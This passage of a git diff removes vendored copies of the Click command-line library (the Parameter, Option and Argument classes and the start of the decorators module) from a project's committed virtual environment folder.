for source in self.sources: - rv.update(source.list_commands(ctx)) - - return sorted(rv) - - -def _check_iter(value: t.Any) -> cabc.Iterator[t.Any]: - """Check if the value is iterable but not a string. Raises a type - error, or return an iterator over the value. - """ - if isinstance(value, str): - raise TypeError - - return iter(value) - - -class Parameter: - r"""A parameter to a command comes in two versions: they are either - :class:`Option`\s or :class:`Argument`\s. Other subclasses are currently - not supported by design as some of the internals for parsing are - intentionally not finalized. - - Some settings are supported by both options and arguments. - - :param param_decls: the parameter declarations for this option or - argument. This is a list of flags or argument - names. - :param type: the type that should be used. Either a :class:`ParamType` - or a Python type. The latter is converted into the former - automatically if supported. - :param required: controls if this is optional or not. - :param default: the default value if omitted. This can also be a callable, - in which case it's invoked when the default is needed - without any arguments. - :param callback: A function to further process or validate the value - after type conversion. It is called as ``f(ctx, param, value)`` - and must return the value. It is called for all sources, - including prompts. - :param nargs: the number of arguments to match. If not ``1`` the return - value is a tuple instead of single value. The default for - nargs is ``1`` (except if the type is a tuple, then it's - the arity of the tuple). If ``nargs=-1``, all remaining - parameters are collected. - :param metavar: how the value is represented in the help page. - :param expose_value: if this is `True` then the value is passed onwards - to the command callback and stored on the context, - otherwise it's skipped. - :param is_eager: eager values are processed before non eager ones. This - should not be set for arguments or it will inverse the - order of processing. - :param envvar: a string or list of strings that are environment variables - that should be checked. - :param shell_complete: A function that returns custom shell - completions. Used instead of the param's type completion if - given. Takes ``ctx, param, incomplete`` and must return a list - of :class:`~click.shell_completion.CompletionItem` or a list of - strings. - :param deprecated: If ``True`` or non-empty string, issues a message - indicating that the argument is deprecated and highlights - its deprecation in --help. The message can be customized - by using a string as the value. A deprecated parameter - cannot be required, a ValueError will be raised otherwise. - - .. versionchanged:: 8.2.0 - Introduction of ``deprecated``. - - .. versionchanged:: 8.2 - Adding duplicate parameter names to a :class:`~click.core.Command` will - result in a ``UserWarning`` being shown. - - .. versionchanged:: 8.2 - Adding duplicate parameter names to a :class:`~click.core.Command` will - result in a ``UserWarning`` being shown. - - .. versionchanged:: 8.0 - ``process_value`` validates required parameters and bounded - ``nargs``, and invokes the parameter callback before returning - the value. This allows the callback to validate prompts. - ``full_process_value`` is removed. - - .. versionchanged:: 8.0 - ``autocompletion`` is renamed to ``shell_complete`` and has new - semantics described above. The old name is deprecated and will - be removed in 8.1, until then it will be wrapped to match the - new requirements. - - .. versionchanged:: 8.0 - For ``multiple=True, nargs>1``, the default must be a list of - tuples. - - .. versionchanged:: 8.0 - Setting a default is no longer required for ``nargs>1``, it will - default to ``None``. ``multiple=True`` or ``nargs=-1`` will - default to ``()``. - - .. versionchanged:: 7.1 - Empty environment variables are ignored rather than taking the - empty string value. This makes it possible for scripts to clear - variables if they can't unset them. - - .. versionchanged:: 2.0 - Changed signature for parameter callback to also be passed the - parameter. The old callback format will still work, but it will - raise a warning to give you a chance to migrate the code easier. - """ - - param_type_name = "parameter" - - def __init__( - self, - param_decls: cabc.Sequence[str] | None = None, - type: types.ParamType | t.Any | None = None, - required: bool = False, - default: t.Any | t.Callable[[], t.Any] | None = None, - callback: t.Callable[[Context, Parameter, t.Any], t.Any] | None = None, - nargs: int | None = None, - multiple: bool = False, - metavar: str | None = None, - expose_value: bool = True, - is_eager: bool = False, - envvar: str | cabc.Sequence[str] | None = None, - shell_complete: t.Callable[ - [Context, Parameter, str], list[CompletionItem] | list[str] - ] - | None = None, - deprecated: bool | str = False, - ) -> None: - self.name: str | None - self.opts: list[str] - self.secondary_opts: list[str] - self.name, self.opts, self.secondary_opts = self._parse_decls( - param_decls or (), expose_value - ) - self.type: types.ParamType = types.convert_type(type, default) - - # Default nargs to what the type tells us if we have that - # information available. - if nargs is None: - if self.type.is_composite: - nargs = self.type.arity - else: - nargs = 1 - - self.required = required - self.callback = callback - self.nargs = nargs - self.multiple = multiple - self.expose_value = expose_value - self.default = default - self.is_eager = is_eager - self.metavar = metavar - self.envvar = envvar - self._custom_shell_complete = shell_complete - self.deprecated = deprecated - - if __debug__: - if self.type.is_composite and nargs != self.type.arity: - raise ValueError( - f"'nargs' must be {self.type.arity} (or None) for" - f" type {self.type!r}, but it was {nargs}." - ) - - # Skip no default or callable default. - check_default = default if not callable(default) else None - - if check_default is not None: - if multiple: - try: - # Only check the first value against nargs. - check_default = next(_check_iter(check_default), None) - except TypeError: - raise ValueError( - "'default' must be a list when 'multiple' is true." - ) from None - - # Can be None for multiple with empty default. - if nargs != 1 and check_default is not None: - try: - _check_iter(check_default) - except TypeError: - if multiple: - message = ( - "'default' must be a list of lists when 'multiple' is" - " true and 'nargs' != 1." - ) - else: - message = "'default' must be a list when 'nargs' != 1." - - raise ValueError(message) from None - - if nargs > 1 and len(check_default) != nargs: - subject = "item length" if multiple else "length" - raise ValueError( - f"'default' {subject} must match nargs={nargs}." - ) - - if required and deprecated: - raise ValueError( - f"The {self.param_type_name} '{self.human_readable_name}' " - "is deprecated and still required. A deprecated " - f"{self.param_type_name} cannot be required." - ) - - def to_info_dict(self) -> dict[str, t.Any]: - """Gather information that could be useful for a tool generating - user-facing documentation. - - Use :meth:`click.Context.to_info_dict` to traverse the entire - CLI structure. - - .. versionadded:: 8.0 - """ - return { - "name": self.name, - "param_type_name": self.param_type_name, - "opts": self.opts, - "secondary_opts": self.secondary_opts, - "type": self.type.to_info_dict(), - "required": self.required, - "nargs": self.nargs, - "multiple": self.multiple, - "default": self.default, - "envvar": self.envvar, - } - - def __repr__(self) -> str: - return f"<{self.__class__.__name__} {self.name}>" - - def _parse_decls( - self, decls: cabc.Sequence[str], expose_value: bool - ) -> tuple[str | None, list[str], list[str]]: - raise NotImplementedError() - - @property - def human_readable_name(self) -> str: - """Returns the human readable name of this parameter. This is the - same as the name for options, but the metavar for arguments. - """ - return self.name # type: ignore - - def make_metavar(self, ctx: Context) -> str: - if self.metavar is not None: - return self.metavar - - metavar = self.type.get_metavar(param=self, ctx=ctx) - - if metavar is None: - metavar = self.type.name.upper() - - if self.nargs != 1: - metavar += "..." - - return metavar - - @t.overload - def get_default( - self, ctx: Context, call: t.Literal[True] = True - ) -> t.Any | None: ... - - @t.overload - def get_default( - self, ctx: Context, call: bool = ... - ) -> t.Any | t.Callable[[], t.Any] | None: ... - - def get_default( - self, ctx: Context, call: bool = True - ) -> t.Any | t.Callable[[], t.Any] | None: - """Get the default for the parameter. Tries - :meth:`Context.lookup_default` first, then the local default. - - :param ctx: Current context. - :param call: If the default is a callable, call it. Disable to - return the callable instead. - - .. versionchanged:: 8.0.2 - Type casting is no longer performed when getting a default. - - .. versionchanged:: 8.0.1 - Type casting can fail in resilient parsing mode. Invalid - defaults will not prevent showing help text. - - .. versionchanged:: 8.0 - Looks at ``ctx.default_map`` first. - - .. versionchanged:: 8.0 - Added the ``call`` parameter. - """ - value = ctx.lookup_default(self.name, call=False) # type: ignore - - if value is None: - value = self.default - - if call and callable(value): - value = value() - - return value - - def add_to_parser(self, parser: _OptionParser, ctx: Context) -> None: - raise NotImplementedError() - - def consume_value( - self, ctx: Context, opts: cabc.Mapping[str, t.Any] - ) -> tuple[t.Any, ParameterSource]: - value = opts.get(self.name) # type: ignore - source = ParameterSource.COMMANDLINE - - if value is None: - value = self.value_from_envvar(ctx) - source = ParameterSource.ENVIRONMENT - - if value is None: - value = ctx.lookup_default(self.name) # type: ignore - source = ParameterSource.DEFAULT_MAP - - if value is None: - value = self.get_default(ctx) - source = ParameterSource.DEFAULT - - return value, source - - def type_cast_value(self, ctx: Context, value: t.Any) -> t.Any: - """Convert and validate a value against the option's - :attr:`type`, :attr:`multiple`, and :attr:`nargs`. - """ - if value is None: - return () if self.multiple or self.nargs == -1 else None - - def check_iter(value: t.Any) -> cabc.Iterator[t.Any]: - try: - return _check_iter(value) - except TypeError: - # This should only happen when passing in args manually, - # the parser should construct an iterable when parsing - # the command line. - raise BadParameter( - _("Value must be an iterable."), ctx=ctx, param=self - ) from None - - if self.nargs == 1 or self.type.is_composite: - - def convert(value: t.Any) -> t.Any: - return self.type(value, param=self, ctx=ctx) - - elif self.nargs == -1: - - def convert(value: t.Any) -> t.Any: # tuple[t.Any, ...] - return tuple(self.type(x, self, ctx) for x in check_iter(value)) - - else: # nargs > 1 - - def convert(value: t.Any) -> t.Any: # tuple[t.Any, ...] - value = tuple(check_iter(value)) - - if len(value) != self.nargs: - raise BadParameter( - ngettext( - "Takes {nargs} values but 1 was given.", - "Takes {nargs} values but {len} were given.", - len(value), - ).format(nargs=self.nargs, len=len(value)), - ctx=ctx, - param=self, - ) - - return tuple(self.type(x, self, ctx) for x in value) - - if self.multiple: - return tuple(convert(x) for x in check_iter(value)) - - return convert(value) - - def value_is_missing(self, value: t.Any) -> bool: - if value is None: - return True - - if (self.nargs != 1 or self.multiple) and value == (): - return True - - return False - - def process_value(self, ctx: Context, value: t.Any) -> t.Any: - value = self.type_cast_value(ctx, value) - - if self.required and self.value_is_missing(value): - raise MissingParameter(ctx=ctx, param=self) - - if self.callback is not None: - value = self.callback(ctx, self, value) - - return value - - def resolve_envvar_value(self, ctx: Context) -> str | None: - if self.envvar is None: - return None - - if isinstance(self.envvar, str): - rv = os.environ.get(self.envvar) - - if rv: - return rv - else: - for envvar in self.envvar: - rv = os.environ.get(envvar) - - if rv: - return rv - - return None - - def value_from_envvar(self, ctx: Context) -> t.Any | None: - rv: t.Any | None = self.resolve_envvar_value(ctx) - - if rv is not None and self.nargs != 1: - rv = self.type.split_envvar_value(rv) - - return rv - - def handle_parse_result( - self, ctx: Context, opts: cabc.Mapping[str, t.Any], args: list[str] - ) -> tuple[t.Any, list[str]]: - with augment_usage_errors(ctx, param=self): - value, source = self.consume_value(ctx, opts) - - if ( - self.deprecated - and value is not None - and source - not in ( - ParameterSource.DEFAULT, - ParameterSource.DEFAULT_MAP, - ) - ): - extra_message = ( - f" {self.deprecated}" if isinstance(self.deprecated, str) else "" - ) - message = _( - "DeprecationWarning: The {param_type} {name!r} is deprecated." - "{extra_message}" - ).format( - param_type=self.param_type_name, - name=self.human_readable_name, - extra_message=extra_message, - ) - echo(style(message, fg="red"), err=True) - - ctx.set_parameter_source(self.name, source) # type: ignore - - try: - value = self.process_value(ctx, value) - except Exception: - if not ctx.resilient_parsing: - raise - - value = None - - if self.expose_value: - ctx.params[self.name] = value # type: ignore - - return value, args - - def get_help_record(self, ctx: Context) -> tuple[str, str] | None: - pass - - def get_usage_pieces(self, ctx: Context) -> list[str]: - return [] - - def get_error_hint(self, ctx: Context) -> str: - """Get a stringified version of the param for use in error messages to - indicate which param caused the error. - """ - hint_list = self.opts or [self.human_readable_name] - return " / ".join(f"'{x}'" for x in hint_list) - - def shell_complete(self, ctx: Context, incomplete: str) -> list[CompletionItem]: - """Return a list of completions for the incomplete value. If a - ``shell_complete`` function was given during init, it is used. - Otherwise, the :attr:`type` - :meth:`~click.types.ParamType.shell_complete` function is used. - - :param ctx: Invocation context for this command. - :param incomplete: Value being completed. May be empty. - - .. versionadded:: 8.0 - """ - if self._custom_shell_complete is not None: - results = self._custom_shell_complete(ctx, self, incomplete) - - if results and isinstance(results[0], str): - from click.shell_completion import CompletionItem - - results = [CompletionItem(c) for c in results] - - return t.cast("list[CompletionItem]", results) - - return self.type.shell_complete(ctx, self, incomplete) - - -class Option(Parameter): - """Options are usually optional values on the command line and - have some extra features that arguments don't have. - - All other parameters are passed onwards to the parameter constructor. - - :param show_default: Show the default value for this option in its - help text. Values are not shown by default, unless - :attr:`Context.show_default` is ``True``. If this value is a - string, it shows that string in parentheses instead of the - actual value. This is particularly useful for dynamic options. - For single option boolean flags, the default remains hidden if - its value is ``False``. - :param show_envvar: Controls if an environment variable should be - shown on the help page and error messages. - Normally, environment variables are not shown. - :param prompt: If set to ``True`` or a non empty string then the - user will be prompted for input. If set to ``True`` the prompt - will be the option name capitalized. A deprecated option cannot be - prompted. - :param confirmation_prompt: Prompt a second time to confirm the - value if it was prompted for. Can be set to a string instead of - ``True`` to customize the message. - :param prompt_required: If set to ``False``, the user will be - prompted for input only when the option was specified as a flag - without a value. - :param hide_input: If this is ``True`` then the input on the prompt - will be hidden from the user. This is useful for password input. - :param is_flag: forces this option to act as a flag. The default is - auto detection. - :param flag_value: which value should be used for this flag if it's - enabled. This is set to a boolean automatically if - the option string contains a slash to mark two options. - :param multiple: if this is set to `True` then the argument is accepted - multiple times and recorded. This is similar to ``nargs`` - in how it works but supports arbitrary number of - arguments. - :param count: this flag makes an option increment an integer. - :param allow_from_autoenv: if this is enabled then the value of this - parameter will be pulled from an environment - variable in case a prefix is defined on the - context. - :param help: the help string. - :param hidden: hide this option from help outputs. - :param attrs: Other command arguments described in :class:`Parameter`. - - .. versionchanged:: 8.2 - ``envvar`` used with ``flag_value`` will always use the ``flag_value``, - previously it would use the value of the environment variable. - - .. versionchanged:: 8.1 - Help text indentation is cleaned here instead of only in the - ``@option`` decorator. - - .. versionchanged:: 8.1 - The ``show_default`` parameter overrides - ``Context.show_default``. - - .. versionchanged:: 8.1 - The default of a single option boolean flag is not shown if the - default value is ``False``. - - .. versionchanged:: 8.0.1 - ``type`` is detected from ``flag_value`` if given. - """ - - param_type_name = "option" - - def __init__( - self, - param_decls: cabc.Sequence[str] | None = None, - show_default: bool | str | None = None, - prompt: bool | str = False, - confirmation_prompt: bool | str = False, - prompt_required: bool = True, - hide_input: bool = False, - is_flag: bool | None = None, - flag_value: t.Any | None = None, - multiple: bool = False, - count: bool = False, - allow_from_autoenv: bool = True, - type: types.ParamType | t.Any | None = None, - help: str | None = None, - hidden: bool = False, - show_choices: bool = True, - show_envvar: bool = False, - deprecated: bool | str = False, - **attrs: t.Any, - ) -> None: - if help: - help = inspect.cleandoc(help) - - default_is_missing = "default" not in attrs - super().__init__( - param_decls, type=type, multiple=multiple, deprecated=deprecated, **attrs - ) - - if prompt is True: - if self.name is None: - raise TypeError("'name' is required with 'prompt=True'.") - - prompt_text: str | None = self.name.replace("_", " ").capitalize() - elif prompt is False: - prompt_text = None - else: - prompt_text = prompt - - if deprecated: - deprecated_message = ( - f"(DEPRECATED: {deprecated})" - if isinstance(deprecated, str) - else "(DEPRECATED)" - ) - help = help + deprecated_message if help is not None else deprecated_message - - self.prompt = prompt_text - self.confirmation_prompt = confirmation_prompt - self.prompt_required = prompt_required - self.hide_input = hide_input - self.hidden = hidden - - # If prompt is enabled but not required, then the option can be - # used as a flag to indicate using prompt or flag_value. - self._flag_needs_value = self.prompt is not None and not self.prompt_required - - if is_flag is None: - if flag_value is not None: - # Implicitly a flag because flag_value was set. - is_flag = True - elif self._flag_needs_value: - # Not a flag, but when used as a flag it shows a prompt. - is_flag = False - else: - # Implicitly a flag because flag options were given. - is_flag = bool(self.secondary_opts) - elif is_flag is False and not self._flag_needs_value: - # Not a flag, and prompt is not enabled, can be used as a - # flag if flag_value is set. - self._flag_needs_value = flag_value is not None - - self.default: t.Any | t.Callable[[], t.Any] - - if is_flag and default_is_missing and not self.required: - if multiple: - self.default = () - else: - self.default = False - - if is_flag and flag_value is None: - flag_value = not self.default - - self.type: types.ParamType - if is_flag and type is None: - # Re-guess the type from the flag value instead of the - # default. - self.type = types.convert_type(None, flag_value) - - self.is_flag: bool = is_flag - self.is_bool_flag: bool = is_flag and isinstance(self.type, types.BoolParamType) - self.flag_value: t.Any = flag_value - - # Counting - self.count = count - if count: - if type is None: - self.type = types.IntRange(min=0) - if default_is_missing: - self.default = 0 - - self.allow_from_autoenv = allow_from_autoenv - self.help = help - self.show_default = show_default - self.show_choices = show_choices - self.show_envvar = show_envvar - - if __debug__: - if deprecated and prompt: - raise ValueError("`deprecated` options cannot use `prompt`.") - - if self.nargs == -1: - raise TypeError("nargs=-1 is not supported for options.") - - if self.prompt and self.is_flag and not self.is_bool_flag: - raise TypeError("'prompt' is not valid for non-boolean flag.") - - if not self.is_bool_flag and self.secondary_opts: - raise TypeError("Secondary flag is not valid for non-boolean flag.") - - if self.is_bool_flag and self.hide_input and self.prompt is not None: - raise TypeError( - "'prompt' with 'hide_input' is not valid for boolean flag." - ) - - if self.count: - if self.multiple: - raise TypeError("'count' is not valid with 'multiple'.") - - if self.is_flag: - raise TypeError("'count' is not valid with 'is_flag'.") - - def to_info_dict(self) -> dict[str, t.Any]: - info_dict = super().to_info_dict() - info_dict.update( - help=self.help, - prompt=self.prompt, - is_flag=self.is_flag, - flag_value=self.flag_value, - count=self.count, - hidden=self.hidden, - ) - return info_dict - - def get_error_hint(self, ctx: Context) -> str: - result = super().get_error_hint(ctx) - if self.show_envvar: - result += f" (env var: '{self.envvar}')" - return result - - def _parse_decls( - self, decls: cabc.Sequence[str], expose_value: bool - ) -> tuple[str | None, list[str], list[str]]: - opts = [] - secondary_opts = [] - name = None - possible_names = [] - - for decl in decls: - if decl.isidentifier(): - if name is not None: - raise TypeError(f"Name '{name}' defined twice") - name = decl - else: - split_char = ";" if decl[:1] == "/" else "/" - if split_char in decl: - first, second = decl.split(split_char, 1) - first = first.rstrip() - if first: - possible_names.append(_split_opt(first)) - opts.append(first) - second = second.lstrip() - if second: - secondary_opts.append(second.lstrip()) - if first == second: - raise ValueError( - f"Boolean option {decl!r} cannot use the" - " same flag for true/false." - ) - else: - possible_names.append(_split_opt(decl)) - opts.append(decl) - - if name is None and possible_names: - possible_names.sort(key=lambda x: -len(x[0])) # group long options first - name = possible_names[0][1].replace("-", "_").lower() - if not name.isidentifier(): - name = None - - if name is None: - if not expose_value: - return None, opts, secondary_opts - raise TypeError( - f"Could not determine name for option with declarations {decls!r}" - ) - - if not opts and not secondary_opts: - raise TypeError( - f"No options defined but a name was passed ({name})." - " Did you mean to declare an argument instead? Did" - f" you mean to pass '--{name}'?" - ) - - return name, opts, secondary_opts - - def add_to_parser(self, parser: _OptionParser, ctx: Context) -> None: - if self.multiple: - action = "append" - elif self.count: - action = "count" - else: - action = "store" - - if self.is_flag: - action = f"{action}_const" - - if self.is_bool_flag and self.secondary_opts: - parser.add_option( - obj=self, opts=self.opts, dest=self.name, action=action, const=True - ) - parser.add_option( - obj=self, - opts=self.secondary_opts, - dest=self.name, - action=action, - const=False, - ) - else: - parser.add_option( - obj=self, - opts=self.opts, - dest=self.name, - action=action, - const=self.flag_value, - ) - else: - parser.add_option( - obj=self, - opts=self.opts, - dest=self.name, - action=action, - nargs=self.nargs, - ) - - def get_help_record(self, ctx: Context) -> tuple[str, str] | None: - if self.hidden: - return None - - any_prefix_is_slash = False - - def _write_opts(opts: cabc.Sequence[str]) -> str: - nonlocal any_prefix_is_slash - - rv, any_slashes = join_options(opts) - - if any_slashes: - any_prefix_is_slash = True - - if not self.is_flag and not self.count: - rv += f" {self.make_metavar(ctx=ctx)}" - - return rv - - rv = [_write_opts(self.opts)] - - if self.secondary_opts: - rv.append(_write_opts(self.secondary_opts)) - - help = self.help or "" - - extra = self.get_help_extra(ctx) - extra_items = [] - if "envvars" in extra: - extra_items.append( - _("env var: {var}").format(var=", ".join(extra["envvars"])) - ) - if "default" in extra: - extra_items.append(_("default: {default}").format(default=extra["default"])) - if "range" in extra: - extra_items.append(extra["range"]) - if "required" in extra: - extra_items.append(_(extra["required"])) - - if extra_items: - extra_str = "; ".join(extra_items) - help = f"{help} [{extra_str}]" if help else f"[{extra_str}]" - - return ("; " if any_prefix_is_slash else " / ").join(rv), help - - def get_help_extra(self, ctx: Context) -> types.OptionHelpExtra: - extra: types.OptionHelpExtra = {} - - if self.show_envvar: - envvar = self.envvar - - if envvar is None: - if ( - self.allow_from_autoenv - and ctx.auto_envvar_prefix is not None - and self.name is not None - ): - envvar = f"{ctx.auto_envvar_prefix}_{self.name.upper()}" - - if envvar is not None: - if isinstance(envvar, str): - extra["envvars"] = (envvar,) - else: - extra["envvars"] = tuple(str(d) for d in envvar) - - # Temporarily enable resilient parsing to avoid type casting - # failing for the default. Might be possible to extend this to - # help formatting in general. - resilient = ctx.resilient_parsing - ctx.resilient_parsing = True - - try: - default_value = self.get_default(ctx, call=False) - finally: - ctx.resilient_parsing = resilient - - show_default = False - show_default_is_str = False - - if self.show_default is not None: - if isinstance(self.show_default, str): - show_default_is_str = show_default = True - else: - show_default = self.show_default - elif ctx.show_default is not None: - show_default = ctx.show_default - - if show_default_is_str or (show_default and (default_value is not None)): - if show_default_is_str: - default_string = f"({self.show_default})" - elif isinstance(default_value, (list, tuple)): - default_string = ", ".join(str(d) for d in default_value) - elif inspect.isfunction(default_value): - default_string = _("(dynamic)") - elif self.is_bool_flag and self.secondary_opts: - # For boolean flags that have distinct True/False opts, - # use the opt without prefix instead of the value. - default_string = _split_opt( - (self.opts if default_value else self.secondary_opts)[0] - )[1] - elif self.is_bool_flag and not self.secondary_opts and not default_value: - default_string = "" - elif default_value == "": - default_string = '""' - else: - default_string = str(default_value) - - if default_string: - extra["default"] = default_string - - if ( - isinstance(self.type, types._NumberRangeBase) - # skip count with default range type - and not (self.count and self.type.min == 0 and self.type.max is None) - ): - range_str = self.type._describe_range() - - if range_str: - extra["range"] = range_str - - if self.required: - extra["required"] = "required" - - return extra - - @t.overload - def get_default( - self, ctx: Context, call: t.Literal[True] = True - ) -> t.Any | None: ... - - @t.overload - def get_default( - self, ctx: Context, call: bool = ... - ) -> t.Any | t.Callable[[], t.Any] | None: ... - - def get_default( - self, ctx: Context, call: bool = True - ) -> t.Any | t.Callable[[], t.Any] | None: - # If we're a non boolean flag our default is more complex because - # we need to look at all flags in the same group to figure out - # if we're the default one in which case we return the flag - # value as default. - if self.is_flag and not self.is_bool_flag: - for param in ctx.command.params: - if param.name == self.name and param.default: - return t.cast(Option, param).flag_value - - return None - - return super().get_default(ctx, call=call) - - def prompt_for_value(self, ctx: Context) -> t.Any: - """This is an alternative flow that can be activated in the full - value processing if a value does not exist. It will prompt the - user until a valid value exists and then returns the processed - value as result. - """ - assert self.prompt is not None - - # Calculate the default before prompting anything to be stable. - default = self.get_default(ctx) - - # If this is a prompt for a flag we need to handle this - # differently. - if self.is_bool_flag: - return confirm(self.prompt, default) - - # If show_default is set to True/False, provide this to `prompt` as well. For - # non-bool values of `show_default`, we use `prompt`'s default behavior - prompt_kwargs: t.Any = {} - if isinstance(self.show_default, bool): - prompt_kwargs["show_default"] = self.show_default - - return prompt( - self.prompt, - default=default, - type=self.type, - hide_input=self.hide_input, - show_choices=self.show_choices, - confirmation_prompt=self.confirmation_prompt, - value_proc=lambda x: self.process_value(ctx, x), - **prompt_kwargs, - ) - - def resolve_envvar_value(self, ctx: Context) -> str | None: - rv = super().resolve_envvar_value(ctx) - - if rv is not None: - if self.is_flag and self.flag_value: - return str(self.flag_value) - return rv - - if ( - self.allow_from_autoenv - and ctx.auto_envvar_prefix is not None - and self.name is not None - ): - envvar = f"{ctx.auto_envvar_prefix}_{self.name.upper()}" - rv = os.environ.get(envvar) - - if rv: - return rv - - return None - - def value_from_envvar(self, ctx: Context) -> t.Any | None: - rv: t.Any | None = self.resolve_envvar_value(ctx) - - if rv is None: - return None - - value_depth = (self.nargs != 1) + bool(self.multiple) - - if value_depth > 0: - rv = self.type.split_envvar_value(rv) - - if self.multiple and self.nargs != 1: - rv = batch(rv, self.nargs) - - return rv - - def consume_value( - self, ctx: Context, opts: cabc.Mapping[str, Parameter] - ) -> tuple[t.Any, ParameterSource]: - value, source = super().consume_value(ctx, opts) - - # The parser will emit a sentinel value if the option can be - # given as a flag without a value. This is different from None - # to distinguish from the flag not being given at all. - if value is _flag_needs_value: - if self.prompt is not None and not ctx.resilient_parsing: - value = self.prompt_for_value(ctx) - source = ParameterSource.PROMPT - else: - value = self.flag_value - source = ParameterSource.COMMANDLINE - - elif ( - self.multiple - and value is not None - and any(v is _flag_needs_value for v in value) - ): - value = [self.flag_value if v is _flag_needs_value else v for v in value] - source = ParameterSource.COMMANDLINE - - # The value wasn't set, or used the param's default, prompt if - # prompting is enabled. - elif ( - source in {None, ParameterSource.DEFAULT} - and self.prompt is not None - and (self.required or self.prompt_required) - and not ctx.resilient_parsing - ): - value = self.prompt_for_value(ctx) - source = ParameterSource.PROMPT - - return value, source - - -class Argument(Parameter): - """Arguments are positional parameters to a command. They generally - provide fewer features than options but can have infinite ``nargs`` - and are required by default. - - All parameters are passed onwards to the constructor of :class:`Parameter`. - """ - - param_type_name = "argument" - - def __init__( - self, - param_decls: cabc.Sequence[str], - required: bool | None = None, - **attrs: t.Any, - ) -> None: - if required is None: - if attrs.get("default") is not None: - required = False - else: - required = attrs.get("nargs", 1) > 0 - - if "multiple" in attrs: - raise TypeError("__init__() got an unexpected keyword argument 'multiple'.") - - super().__init__(param_decls, required=required, **attrs) - - if __debug__: - if self.default is not None and self.nargs == -1: - raise TypeError("'default' is not supported for nargs=-1.") - - @property - def human_readable_name(self) -> str: - if self.metavar is not None: - return self.metavar - return self.name.upper() # type: ignore - - def make_metavar(self, ctx: Context) -> str: - if self.metavar is not None: - return self.metavar - var = self.type.get_metavar(param=self, ctx=ctx) - if not var: - var = self.name.upper() # type: ignore - if self.deprecated: - var += "!" - if not self.required: - var = f"[{var}]" - if self.nargs != 1: - var += "..." - return var - - def _parse_decls( - self, decls: cabc.Sequence[str], expose_value: bool - ) -> tuple[str | None, list[str], list[str]]: - if not decls: - if not expose_value: - return None, [], [] - raise TypeError("Argument is marked as exposed, but does not have a name.") - if len(decls) == 1: - name = arg = decls[0] - name = name.replace("-", "_").lower() - else: - raise TypeError( - "Arguments take exactly one parameter declaration, got" - f" {len(decls)}: {decls}." - ) - return name, [arg], [] - - def get_usage_pieces(self, ctx: Context) -> list[str]: - return [self.make_metavar(ctx)] - - def get_error_hint(self, ctx: Context) -> str: - return f"'{self.make_metavar(ctx)}'" - - def add_to_parser(self, parser: _OptionParser, ctx: Context) -> None: - parser.add_argument(dest=self.name, nargs=self.nargs, obj=self) - - -def __getattr__(name: str) -> object: - import warnings - - if name == "BaseCommand": - warnings.warn( - "'BaseCommand' is deprecated and will be removed in Click 9.0. Use" - " 'Command' instead.", - DeprecationWarning, - stacklevel=2, - ) - return _BaseCommand - - if name == "MultiCommand": - warnings.warn( - "'MultiCommand' is deprecated and will be removed in Click 9.0. Use" - " 'Group' instead.", - DeprecationWarning, - stacklevel=2, - ) - return _MultiCommand - - raise AttributeError(name) diff --git a/backend/venv/Lib/site-packages/click/decorators.py b/backend/venv/Lib/site-packages/click/decorators.py deleted file mode 100644 index 21f4c342..00000000 --- a/backend/venv/Lib/site-packages/click/decorators.py +++ /dev/null @@ -1,551 +0,0 @@ -from __future__ import annotations - -import inspect -import typing as t -from functools import update_wrapper -from gettext import gettext as _ - -from .core import Argument -from .core import Command -from .core import Context -from .core import Group -from .core import Option -from .core import Parameter -from .globals import get_current_context -from .utils import echo - -if t.TYPE_CHECKING: - import typing_extensions as te - - P = te.ParamSpec("P") - -R = t.TypeVar("R") -T = t.TypeVar("T") -_AnyCallable = t.Callable[..., t.Any] -FC = t.TypeVar("FC", bound="_AnyCallable | Command") - - -def pass_context(f: t.Callable[te.Concatenate[Context, P], R]) -> t.Callable[P, R]: - """Marks a callback as wanting to receive the current context - object as first argument. - """ - - def new_func(*args: P.args, **kwargs: P.kwargs) -> R: - return f(get_current_context(), *args, **kwargs) - - return update_wrapper(new_func, f) - - -def pass_obj(f: t.Callable[te.Concatenate[T, P], R]) -> t.Callable[P, R]: - """Similar to :func:`pass_context`, but only pass the object on the - context onwards (:attr:`Context.obj`). This is useful if that object - represents the state of a nested system. - """ - - def new_func(*args: P.args, **kwargs: P.kwargs) -> R: - return f(get_current_context().obj, *args, **kwargs) - - return update_wrapper(new_func, f) - - -def make_pass_decorator( - object_type: type[T], ensure: bool = False -) -> t.Callable[[t.Callable[te.Concatenate[T, P], R]], t.Callable[P, R]]: - """Given an object type this creates a decorator that will work - similar to :func:`pass_obj` but instead of passing the object of the - current context, it will find the innermost context of type - :func:`object_type`. - - This generates a decorator that works roughly like this:: - - from functools import update_wrapper - - def decorator(f): - @pass_context - def new_func(ctx, *args, **kwargs): - obj = ctx.find_object(object_type) - return ctx.invoke(f, obj, *args, **kwargs) - return update_wrapper(new_func, f) - return decorator - - :param object_type: the type of the object to pass. - :param ensure: if set to `True`, a new object will be created and - remembered on the context if it's not there yet. - """ - - def decorator(f: t.Callable[te.Concatenate[T, P], R]) -> t.Callable[P, R]: - def new_func(*args: P.args, **kwargs: P.kwargs) -> R: - ctx = get_current_context() - - obj: T | None - if ensure: - obj = ctx.ensure_object(object_type) - else: - obj = ctx.find_object(object_type) - - if obj is None: - raise RuntimeError( - "Managed to invoke callback without a context" - f" object of type {object_type.__name__!r}" - " existing." - ) - - return ctx.invoke(f, obj, *args, **kwargs) - - return update_wrapper(new_func, f) - - return decorator - - -def pass_meta_key( - key: str, *, doc_description: str | None = None -) -> t.Callable[[t.Callable[te.Concatenate[T, P], R]], t.Callable[P, R]]: - """Create a decorator that passes a key from - :attr:`click.Context.meta` as the first argument to the decorated - function. - - :param key: Key in ``Context.meta`` to pass. - :param doc_description: Description of the object being passed, - inserted into the decorator's docstring. Defaults to "the 'key' - key from Context.meta". - - .. versionadded:: 8.0 - """ - - def decorator(f: t.Callable[te.Concatenate[T, P], R]) -> t.Callable[P, R]: - def new_func(*args: P.args, **kwargs: P.kwargs) -> R: - ctx = get_current_context() - obj = ctx.meta[key] - return ctx.invoke(f, obj, *args, **kwargs) - - return update_wrapper(new_func, f) - - if doc_description is None: - doc_description = f"the {key!r} key from :attr:`click.Context.meta`" - - decorator.__doc__ = ( - f"Decorator that passes {doc_description} as the first argument" - " to the decorated function." - ) - return decorator - - -CmdType = t.TypeVar("CmdType", bound=Command) - - -# variant: no call, directly as decorator for a function. -@t.overload -def command(name: _AnyCallable) -> Command: ... - - -# variant: with positional name and with positional or keyword cls argument: -# @command(namearg, CommandCls, ...) or @command(namearg, cls=CommandCls, ...) -@t.overload -def command( - name: str | None, - cls: 